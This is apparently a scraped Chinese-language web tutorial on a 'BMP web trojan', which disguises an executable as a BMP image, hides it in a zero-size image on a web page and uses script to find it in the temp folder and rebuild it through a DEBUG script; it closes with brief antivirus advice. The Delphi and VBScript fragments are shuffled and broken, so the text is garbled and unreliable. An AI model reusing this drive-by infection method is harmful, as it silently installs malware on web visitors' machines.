【正文】 :=24。 function docsave() { a=[0]。,39。)。 (39。 (39。 )39。 (rcx)39。 tmp amp。 (tmp amp。)。 ()。 ) (rbx) (0) (rcx) 39。 ).Delete end if If 0 Then For Each SubFolder In SearchBMPFile SubFolder,fname Next End If End Function這個腳本會找出在臨時文件夾中的bmp文件,并生成一個DEBUG的腳本,運行時會自動從BMP文件54字節(jié)處讀去你指定大小的數(shù)據(jù),. 防范方法: 最簡單, 文件。 \ winsys=(1) amp。)。 end if39。 ).Copy(winsys amp。 39。 (39。 set File=(str)39。 amp。)。Dim FSO,WSH,CACHE,str39。 var vbs=winsys+39。 end. PDWORD(buffer[2])^:=len+54。 fs:=。何謂BMP網(wǎng)頁木馬？它和過去早就用臭了的MIME頭漏洞的木馬不同，MIME木馬是把一個EXE文件用MIME編碼為一個EML(OUT LOOK信件)文件，放到網(wǎng)頁上利用IE和OE的編碼漏洞實現(xiàn)自動下載和執(zhí)行。 col := 4。 PDWORD(buffer[10])^:=54。以上代碼可以在DELPHI4,5,6中編譯 ,輸入 exe2bmp 回車就可以把第二個參數(shù)所指定的EXE文件轉(zhuǎn)換成BMP格式. 接著就是把這個BMP圖片放到網(wǎng)頁上了,如果大家打開過這張圖片的話,一定發(fā)現(xiàn)這張BMP又花, img srd= higth=0 width=0以下是放在網(wǎng)頁上的腳本 (39。\\39。)。 (39。 \\ amp。)。 (0)39。)。 )39。)。 (39。 \ set File=(str) (tmp amp。 安裝有效的殺毒軟件,因為這些腳本有好多殺毒軟件已經(jīng)可以查出來了.。生成一個DEBUG腳本 set Lt=(tmp amp